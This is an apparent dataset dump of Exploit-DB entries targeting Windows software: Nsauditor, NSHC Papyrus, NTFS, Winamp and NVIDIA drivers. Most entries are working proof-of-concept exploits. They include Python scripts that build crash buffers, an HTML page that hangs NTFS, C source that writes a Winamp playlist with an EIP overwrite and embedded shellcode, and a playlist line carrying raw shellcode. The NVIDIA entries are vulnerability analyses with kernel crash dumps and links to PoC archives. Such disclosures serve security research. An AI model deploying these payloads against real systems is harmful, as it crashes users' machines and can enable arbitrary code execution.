deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47728
Description: Nsauditor 3.1.8.0 - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-12-02
Author: SajjadBnd

Exploit:
# Exploit Title: Nsauditor 3.1.8.0 - 'Name' Denial of Service (PoC)
# Discovery by: SajjadBnd
# Date: 2019-11-30
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Tested Version: 3.1.8.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 - Pro

# About App
# Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks and hosts for vulnerabilities, 
# and to provide security alerts.Nsauditor network auditor checks enterprise network for all potential methods that 
# a hacker might use to attack it and create a report of potential problems that were found , Nsauditor network auditing 
# software significantly reduces the total cost of network management in enterprise environments by enabling 
# IT personnel and systems administrators gather a wide range of information from all the computers in the network without 
# installing server-side applications on these computers and create a report of potential problems that were found.

# PoC
# 1.Run the python script, it will create a new file "dos.txt"
# 3.Run Nsauditor and click on "Register -> Enter Registration Code"
# 2.Paste the content of dos.txt into the Field: 'Name'
# 6.click 'ok'
# 5.Crashed ;)


#!/usr/bin/env python
buffer = "\x41" * 1000
try:
    f=open("dos.txt","w")
    print "[+] Creating %s bytes DOS payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #48286
Description: Nsauditor 3.2.0.0 - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-06
Author: 0xMoHassan

Exploit:
# Exploit Title: Nsauditor 3.2.0.0 - 'Name' Denial of Service (PoC)
# Discovery by: 0xMoHassan
# Date: 2020-04-04
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Tested Version: 3.2.0.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows XP - SP3

# About App
# Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks and hosts for vulnerabilities, 
# and to provide security alerts.Nsauditor network auditor checks enterprise network for all potential methods that 
# a hacker might use to attack it and create a report of potential problems that were found , Nsauditor network auditing 
# software significantly reduces the total cost of network management in enterprise environments by enabling 
# IT personnel and systems administrators gather a wide range of information from all the computers in the network without 
# installing server-side applications on these computers and create a report of potential problems that were found.


# PoC
# 1.Run the python script, it will create a new file "POC.txt"
# 3.Run Nsauditor and click on "Register -> Enter Registration Code"
# 2.Paste the content of POC.txt into the Field: 'Name'
# 6.click 'ok'
# 5.Magic happen :)



#!/usr/bin/env python
buff = "\x41" *500
buff += "\x41" * 500

try:
    f=open("POC.txt","w")
    print "[+] Creating %s bytes payload.." %len(buff)
    f.write(buff)
    f.close()
    print "[+] POC created!"
except:
    print "POC cannot be created"
Exploit-DB #49568
Description: Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-02-16
Author: Ismael Nava

Exploit:
# Exploit Title: Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC)
# Date: 2021-02-15
# Exploit Author: Ismael Nava
# Vendor Homepage: https://www.nsauditor.com/
# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.2.0
# Tested on: Windows 10 Home x64


#STEPS
# Open the program Nsauditor
# In Options select Configuration...
# Click in Security Events 
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Liella.txt"
# Paste the content in the field Event Description and click in Add Event
# End :)


buffer = 'U' * 10000

try: 
    file = open("Liella.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
Exploit-DB #49965
Description: Nsauditor 3.2.3 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-06-08
Author: Erick Galindo

Exploit:
# Exploit Title: Nsauditor 3.2.3 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo 
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.3.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open Nsauditor.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("NBM.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #17664
Description: NSHC Papyrus 2.0 - Heap Overflow
Type: dos
Platform: windows
Date: 2011-08-13
Author: wh1ant

Exploit:
#!/usr/bin/python
# 
# Title: NSHC Papyrus Heap Overflow Vulnerability 
# Date: 13\08\2011 
# Author: wh1ant
# Software Link: http://file.atfile.com/ftp/data/03/PapyrusSetup.exe
# Version: 2.0 
# Tested On: windows XP SP3 South Korea / windows XP SP3 English VMware Workstation
# CVE: N/A 
# Notice:
# Encrypt/Decrypt programs that are created by NSHC
#
 
fd = open("Attack.txt", "w")
data = 'A'
for i in range(0, 1003):
 fd.write(data)
fd.write("BBBB");
fd.write("CCCC");
for i in range(0, 2000):
 fd.write(data);
fd.close()
Exploit-DB #42253
Description: NTFS 3.1 - Master File Table Denial of Service
Type: dos
Platform: windows
Date: 2017-06-26
Author: EagleWire

Exploit:
<!--
# Exploit Title: NTFS 3.1 Master File Table DoS Exploit
# Date: 6\23\17
# Exploit Author: EagleWire
# Version: Windows XP/7/8/8.1
# Tested on: Windows XP/7/8/8.1
1. Description:
This exploits a vulnerability in Windows XP to Windows 8.1. The master file table, or MFT, is a hidden file in the NTFS file system. It maps out all files in the drive. It is supposed to be protected from any user access because all files that use NTFS have a reference to it. If the directory is recreated, the system will lock the file until the next reboot. Therefore, for example, when trying to create a file or read the volume of files, NTFS attempts to seize ERESOURCE $ MFT file and will hang at this stage forever.
2. Exploit:
The exploit tries to access a nonexistant file c:/$MFT/pwned. The browser will hang then stop responding, then after the browser exists, the rest of the system becomes unresponsive.
-->
<!DOCTYPE html>
<html lang="en">
  <head>
    <link rel="stylesheet" href="stylesheet.css">
    <meta charset="utf-8" />
    <title>Y0U HAVE BEEN EXPL0ITED!</title>  
</head>
  <body>
    <script src="c:/$MFT/pwned"></script>
  </body>
</html>

<!--
3: Solution:
-->
Exploit-DB #19720
Description: NullSoft Winamp 2.10 - Playlist
Type: dos
Platform: windows
Date: 2000-01-10
Author: Steve Fewer

Exploit:
/*
source: https://www.securityfocus.com/bid/925/info

Winamp, a program for playing mp3 and other audio files, uses playlist files (*.pls) to store lists of files for playback. The code that reads these files has an unchecked buffer which can be overflowed to cause arbitrary code to be executed. If an entry longer than 580 bytes is specified in the file, EIP gets overwritten.

This vulnerability can only be exploited remotely by convincing someone to download the hostile playlist and load it into Winamp. IE5 will download .pls files without user confirmation if winamp is installed. 
*/

/* Stack based buffer overflow exploit for Winamp v2.10
 * Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
 *
 * For a detailed description on the exploit see my advisory.
 *
 * Tested with Winamp v2.10 using Windows98 on an Intel
 * PII 400 with 128MB RAM
 *
 * http://indigo.ie/~lmf
 */

#include <stdio.h>

int main()
{

    printf("\n\n\t\t.......................................\n");
    printf("\t\t......Nullsoft Winamp 2.10 exploit.....\n");
    printf("\t\t.......................................\n");
    printf("\t\t.....Author: Steve Fewer, 04-01-2k.....\n");
    printf("\t\t.........http://indigo.ie/~lmf.........\n");
    printf("\t\t.......................................\n\n");

char buffer[640];
char eip[8] = "\xF7\xCF\xB9\xBF";
char sploit[256] = =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53
\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\=
xFA\x2E\xC6
\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\xD4\x76\xF7\xbF\x52\x8D\=
x45\xF4\x50
\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x48\xC6\x45\xFD\x69\xC6\=
x45\xFE\x21
\xBA\x2E\x41\xF5\xBF\x52\x57\x8D\x55\xFC\x52\x52\x57\xFF\x55\xF8\x55\x8B\=
xEC\xBA\xFF
\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

FILE *file;

    for(int x=0;x<580;x++)
    {
    buffer[x] = 0x90;
    }

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t     created file crAsh.pls loaded with the exploit.\n");
return 0;
}
Exploit-DB #20094
Description: NullSoft Winamp 2.64 - '.m3u' Playlist Buffer Overflow
Type: dos
Platform: windows
Date: 2001-01-17
Author: Pauli Ojanpera

Exploit:
source: https://www.securityfocus.com/bid/1496/info

The M3U Playlist file parser in NullSoft Winamp does not perform proper bounds checking with the extension "#EXTINF:". Therefore, entering a string consisting of over 280 characters in conjunction with this parameter will cause a buffer overflow condition which will either crash the application or allow for arbitrary code to be executed, depending on the data entered.

Cut and paste the following into a M3U file:

EXTM3U
#EXTINF:<string of of over 280 characters>
Exploit-DB #23124
Description: NullSoft Winamp 2.81/2.91/3.0/3.1 - MIDI Plugin 'IN_MIDI.dll' Track Data Size Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2003-09-08
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/8567/info

Winamp MIDI plugin, IN_MIDI.DLL has been reported prone to a buffer overflow issue when handling malicious MIDI files. The issue presents itself when a malicious value is passed as the Track Data Size of a malicious MIDI file header. Although unconfirmed it has been conjectured that an attacker may exploit this condition to execute arbitrary code in the context of the user who is running the affected Winamp player. 

4 bytes MIDI Header "MThd"
4 bytes Header data size 00000006
2 bytes Format 0000
2 bytes Number of tracks 0001
2 bytes Divisions 0001
4 bytes Track Header "MTrk"
4 bytes Track data size ffffffff <--- bug
... "aaaaaaaaaaaaaaaaaaaaa..." <--- fun
Exploit-DB #25061
Description: NullSoft Winamp 5.0.x - Variant 'IN_CDDA.dll' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-01-25
Author: Yu Yang

Exploit:
source: https://www.securityfocus.com/bid/12381/info

A remote buffer overflow vulnerability affects the IN_CDDA.dll library of Nullsoft's Winamp. This issue is due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers. It should be noted that this issue is not related to the issue outlined in BID 11730 (Nullsoft Winamp IN_CDDA.dll Remote Buffer Overflow Vulnerability).

This issue will facilitate remote exploitation as an attacker may distribute malicious play-list files and entice unsuspecting users to process them with the affected application.

#EXTM3U
#EXTINF:5,DJ Mike Llama - Llama Whippin' Intro
cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT _IJJJ‹å3ÿWƒìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D€¿wP]øSÿÐ
Exploit-DB #40661
Description: NVIDIA Driver - Escape 0x100010b Missing Bounds Check
Type: dos
Platform: windows
Date: 2016-10-31
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=927

The DxgkDdiEscape handler for escape code 0x100010b looks like:

char escape_100010b(NvMiniportDeviceContext *miniport_context, HANDLE handle, unsigned int idx)
{
  PVOID *Object;
  if ( !handle )
    do_debug_thingo();
  Object = (PVOID *)&miniport_context->UNKNOWN[8 * idx + 22696];
  if ( !ObReferenceObjectByHandle(handle_, SYNCHRONIZE, )ExEventObjectType, UserMode, Object, 0i64) )
  {
    result = 0;
    if ( *Object )
      result = UserMode;
  }
  return result;
}

It essentially takes in a user mode event handle from userspace, and calls
ObReferenceObjectByHandle on it, writing the object pointer to |Object|. Note
that the kernel implementation of ObReferenceObjectByHandle always begins with
writing NULL to this pointer regardless of whether or not the handle is valid.

|Object| is calculated using a user provided index that is not bounds checked,
leading to OOB write of either NULL or the KEVENT pointer:

Object = (PVOID *)&miniport_context_->UNKNOWN[8 * idx + 22696];

The attached PoC causes the following crashing context on Win x64 372.54:

PAGE_FAULT_IN_NONPAGED_AREA (50)
...
rax=ffffe0025ea28f50 rbx=[PII_REDACTED] rcx=[PII_REDACTED]
rdx=[PII_REDACTED] rsi=[PII_REDACTED] rdi=[PII_REDACTED]
rip=fffff801d8f3daf5 rsp=ffffd000203deda0 rbp=[PII_REDACTED]
 r8=ffffe000506d4b50  r9=ffffe000524fb201 r10=[PII_REDACTED]
r11=ffffd000203df370 r12=[PII_REDACTED] r13=[PII_REDACTED]
r14=[PII_REDACTED] r15=[PII_REDACTED]
iopl=0         nv up ei pl zr na po nc
nt!ObReferenceObjectByHandleWithTag+0x45:
fffff801`d8f3daf5 488908          mov     qword ptr [rax],rcx ds:ffffe002`5ea28f50=????????????????

To reproduce, compile as a x64 executable and run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40661.zip
Exploit-DB #40656
Description: NVIDIA Driver - Escape Code Leaks Uninitialised ExAllocatePoolWithTag Memory to Userspace
Type: dos
Platform: windows
Date: 2016-10-31
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=892

The handler for the DxgkDdiEscape escape code 0x70000D4 has the following pseudocode:

void __fastcall escape_70000D4(NvMiniportDeviceContext *a1, NvEscapeData *a2)
{
  Escape70000D4 *escape_data_; // rbx@1
  PVOID alloc_buf; // rsi@1
  unsigned int v4; // edi@1
  __int64 user_ptr; // r14@4
  DWORD *v6; // rbx@5
  __int128 v7; // [rsp+40h] [rbp-38h]@1
  __int128 v8; // [rsp+50h] [rbp-28h]@4
  PVOID alloc_buf_; // [rsp+60h] [rbp-18h]@4

  escape_data_ = (Escape70000D4 *)a2;
  a2->unknown_rest[6] = 1;
  LODWORD(v7) = 0;
  memset((char *)&v7 + 4, 0, 0x24ui64);
  alloc_buf = ExAllocatePoolWithTag_(PagedPool, escape_data_->user_ptr_size, 'paVN');
  v4 = 0;
  if ( !alloc_buf )
    v4 = 0xFFFF;
  if ( v4 )
    goto LABEL_12;
  HIDWORD(v8) = escape_data_->user_ptr_size;
  alloc_buf_ = alloc_buf;
  v4 = sub_625BC(0i64, dword_B1BB94, escape_data_->unknown_0, 0x83F30101, (__int64)&v7, 40);
  user_ptr = escape_data_->user_ptr;
  ProbeForWrite((PVOID)escape_data_->user_ptr, escape_data_->user_ptr_size, UserMode);
  memcpy((void *)escape_data_->user_ptr, alloc_buf, escape_data_->user_ptr_size);
  *(_OWORD *)&escape_data_->unknown_2 = v7;
  *(_OWORD *)&escape_data_->unknown_4 = v8;
  escape_data_->user_ptr = user_ptr;
  if ( v4 )
  {
LABEL_12:
    v6 = &escape_data_->header.unknown_rest[6];
    if ( v6 )
    {
      if ( v4 <= 0xFFFFF000 )
        *v6 = -4096 - v4;
    }
  }
  if ( alloc_buf )
    ExFreePoolWithTag_(alloc_buf, 0x7061564Eu);
}

ExAllocatePoolWithTag is called with a user provided size to allocate a buffer, but the subsequent copying of said buffer to the user provided pointer doesn't make sense since the buffer is never initialised with any values. This means that a user mode program can leak uninitialised memory from arbitrarily-sized pool allocations.

########

Looks like I made an oversimplified analysis of the pseudocode in the report. The allocated buffer pointer is indeed passed off to the sub_625BC function (as part of a struct member on the stack) which eventually passes it to a bunch of other functions.

However, this doesn't change the fact that with the provided PoC, the pool allocated buffer still isn't being initialised and is copied into the user buffer unchanged.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40656.zip
Exploit-DB #40664
Description: NVIDIA Driver - Incorrect Bounds Check in Escape 0x70001b2
Type: dos
Platform: windows
Date: 2016-10-31
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=940

The DxgkDdiEscape handler for 0x70001b2 doesn't do proper bounds checks for its
variable size input.

void sub_8C4304(...) {
        ...
        // escape_->size is controlled by the user.
        if ( escape_->size < size )
          size = escape_->size;
        memcpy(escape_->data, v31, 28i64 * size);
        ...
}

Note that this appears to be a common pattern. Normally, before
escape handlers are executed, |PrivateDriverDataSize| (from DXGKARG_ESCAPE)
is checked to be equal to some value against a hardcoded table. However, some escapes
allow a more relaxed check that |PrivateDriverDataSize| >= minimum. This means that
the handler themselves must implement an ad hoc bounds check, which either seems to be
missing or implemented incorrectly (relying on a user specified value) in many cases.

bug 936 is a similar issue and there are likely more. I've noticed (but not confirmed)
a few more OOB reads that I haven't reported that follow this same pattern.

Crashing context with PoC (Win 10 x64 with 372.54):

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
...
rax=ffffd000239d51dc rbx=[PII_REDACTED] rcx=fffffffffffffff4
rdx=fffff000e9e6c754 rsi=[PII_REDACTED] rdi=[PII_REDACTED]
rip=fffff80166d6aca0 rsp=ffffd000239d3df8 rbp=ffffd000239d3f00
 r8=[PII_REDACTED]  r9=[PII_REDACTED]00003b r10=[PII_REDACTED]00e9ef
r11=ffffd000239d48ac r12=[PII_REDACTED] r13=[PII_REDACTED]
r14=[PII_REDACTED] r15=[PII_REDACTED]
iopl=0         nv up ei ng nz ac pe cy
nvlddmkm+0x5daca0:
fffff801`66d6aca0 f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 ds:ffffd000`239d51cc=????????????????????????????????
Resetting default scope

To reproduce, compile as an x64 executable an run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40664.zip
Exploit-DB #40665
Description: NVIDIA Driver - Missing Bounds Check in Escape 0x100009a
Type: dos
Platform: windows
Date: 2016-10-31
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=942

The DxgkDdiEscape handler for escape 0x100009a lacks proper bounds checks:

case 0x100009A:
  ...
  size_0 = escape_data->size_1;
  ...
  size_1 = 2 - (escape_data->unknown < 18);
  ...
  size_2 = escape_data->size_2;
  ...
  total_size = size_0 * size_1 * size_2;
  ...

  if (total_size > 0x10)
    do_debug_thingo();

  if (total_size) {
    DWORD* ptr = alloced_buf + 24;
    DWORD* user_buf = escape_data->data;
    ...
    while (total_size) {
      *(ptr - 1) = *(user_buf - 1);
      *ptr = *user_buf;
      ...
      user_buf += 4;
      ptr += 39;
      --total_size;
    }

There is a check that total_size > 0x10, which calls some kind of a
debug/logging function (do_debug_thingo in my pseudocode), but it does not
actually stop processing of the escape. This leads to buffer overflow on the
allocated pool buffer later on.

Note that there is also a potential integer overflow in the calculation of
|total_size|. Since the individual sizes (size_0, size_1, size_2) appear to be
stored in a struct and eventually passed off to another function, there may be
more problems later on too.

Crashing context with PoC (Win10 x64 with 372.54):

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
...
rax=00000000caa6ed30 rbx=[PII_REDACTED] rcx=ffffc001cd337044
rdx=[PII_REDACTED]0f41bd rsi=[PII_REDACTED] rdi=[PII_REDACTED]
rip=fffff[PII_REDACTED]8 rsp=ffffd000243bbed0 rbp=ffffd000243bbfd0
 r8=[PII_REDACTED]  r9=[PII_REDACTED] r10=[PII_REDACTED]
r11=[PII_REDACTED] r12=[PII_REDACTED] r13=[PII_REDACTED]
r14=[PII_REDACTED] r15=[PII_REDACTED]
iopl=0         nv up ei pl nz na po nc
nvlddmkm!nvDumpConfig+0x12a2b0:
fffff801`02[PII_REDACTED]fc          mov     dword ptr [rcx-4],eax ds:ffffc001`cd337040=????????


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40665.zip
Exploit-DB #40666
Description: NVIDIA Driver - Missing Bounds Check in Escape 0x70000d5
Type: dos
Platform: windows
Date: 2016-10-31
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=944

The DxgkDdiEscape handler for 0x70000d5 lacks bounds checks:
 
 ...
 
 if ( g_saved_size )
  {
    escape->size = g_saved_size;
    if ( (unsigned int)g_saved_size > 0 )
    {
      do
      {
        v5 = v2++;
        escape->data[v5] = global_array[v5 + 77];
      }
      while ( v2 < g_saved_size );
    }
    return;
  }
  data = 0i64;


  ...
  if ( escape->size > 0 )
  {
    do
    {
      ii = i++;
      global_array[ii + 77] = escape->data[ii];
    }
    while ( i < escape->size );

  ...
  g_saved_size = escape->size;

This handler copies data to/from a global array, but lacks any form of bounds checking, as
|escape->size| is controlled by the user. This leads to overflow of the global buffer, and pool overflows
when it's copied back into the escape data.

A PoC is attached that should cause a crash (Win 10 x64, 372.54):

KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure.  The corruption
could potentially allow a malicious user to gain control of this machine.
Arguments:
Arg1: [PII_REDACTED], Stack cookie instrumentation code detected a stack-based
	buffer overrun.
Arg2: ffffd00022de52c0, Address of the trap frame for the exception that caused the bugcheck
Arg3: ffffd00022de5218, Address of the exception record for the exception that caused the bugcheck
Arg4: [PII_REDACTED], Reserved


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40666.zip